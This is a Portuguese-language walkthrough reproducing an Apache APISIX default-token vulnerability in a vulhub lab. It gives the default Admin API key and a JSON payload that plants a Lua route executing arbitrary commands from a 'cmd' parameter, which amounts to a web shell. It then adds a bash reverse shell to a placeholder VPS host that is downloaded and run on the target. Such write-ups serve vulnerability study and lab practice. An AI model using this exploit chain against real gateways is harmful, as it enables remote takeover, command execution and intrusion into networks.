Isenção de responsabilidade: Este artigo é apenas para aprendizado e referência. Todos os recursos envolvidos nele são da Internet. Por favor, não os use para nenhum ato ilegal, caso contrário você arcará com as consequências correspondentes e não assumo qualquer responsabilidade legal e conjunta e vários passivos.
Descrição da vulnerabilidade
O Apache APISIX é um gateway de API dinâmico, em tempo real e de alto desempenho, implementado com base na biblioteca de rede Nginx e etcd, fornecendo balanceamento de carga, upstream dinâmico, liberação em escala de cinza, fusível de serviço, autenticação de identidade, observabilidade e outras funções avançadas de gerenciamento de tráfego. Quando o usuário abre a API Admin, não configura a política de acesso IP correspondente e não modifica o Token do arquivo de configuração, o invasor pode usar o Token padrão do Apache APISIX para acessar o Apache APISIX, controlando assim o gateway APISIX.
Versão afetada
Apache APISIX 1.2
Apache APISIX 1.3
Apache APISIX 1.4
Apache APISIX 1.5
Recorrência de vulnerabilidade
O ambiente de vulnerabilidade ainda é construído por meio do vulhub, então não vou repeti-lo aqui.
Visite http://192.168.10.171:9080/apisix/admin/routes, indicando que /apisix/admin/routes está ativado
Capture a mensagem e faça as seguintes modificações
1. Altere o método de solicitação para POST
2. Adicione o parâmetro X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
3. Adicionar carga útil
{
"uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}
Em seguida, acesse o roteador que você acabou de adicionar e execute qualquer comando através do parâmetro cmd
A seguir, vamos demonstrar a conexão reversa deste servidor na intranet para o VPS
Primeiro, escreva um shell script rebote bash -i >& /dev/tcp/VPS_IP/VPS_PORT 0>&1 no VPS e, em seguida, use python para iniciar um serviço http: python3 -m http.server
Baixe o arquivo de script test.sh
Em seguida, execute o arquivo de script test.sh
Veja os resultados de rejeição no VPS